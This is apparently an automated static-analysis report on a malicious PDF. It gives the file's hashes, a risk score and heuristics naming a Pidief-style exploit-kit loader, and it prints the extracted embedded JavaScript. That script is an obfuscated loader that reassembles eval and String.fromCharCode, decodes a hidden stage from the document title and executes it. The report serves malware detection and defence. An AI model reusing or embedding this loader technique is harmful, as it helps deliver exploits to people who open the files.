Malicious PDF — malware analysis report

Static analysis result for SHA-256 2cc4d8d7555eecea…

MALICIOUS

PDF

44.6 KB First seen: 2013-07-24
MD5: 3ef47f8ea949bb5ba09eb64e32773af4 SHA-1: 1f34a2e568a0de8c01ce3cf3f29d55697db5bc9c SHA-256: 2cc4d8d7555eecead91f012465263bf629c257af070f1fe0fd11adc99d6820c4
86 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xAF83 474 bytes
SHA-256: c10e8f40eff71277ebda836dadd680862c1420ce77482a7aa1a59589840cb7f6
Preview script
First 1,000 lines of the extracted script
ggg='';
v='s'+'u';
try{try{qwe()}catch(a){gsdg()}}catch(e){v+=('wqg','b'+'st');}
qwe = ('webweb',v)[v+'r'];
t='le';
a=["e","a","n","b","w",'v','r'];
e=(t,qwe)()[a[0]+a[5]+a[1]+(a,t[0])];
qoniq=e('ti'+'tle');
s=qoniq.substr(t.length + 8,3)+'str';
q=qoniq[s](1,(1,9));
wot=e('S'+'tring.fro'+q);
q=qoniq[s](14).split('u');;
e('k=q.length');
for (i = 0; i != k; i+=2) {
	soigs = parseInt(q[i+1]) + parseInt(('erybjkerl',q[i]));
	ggg += wot(soigs);
}
e(ggg);

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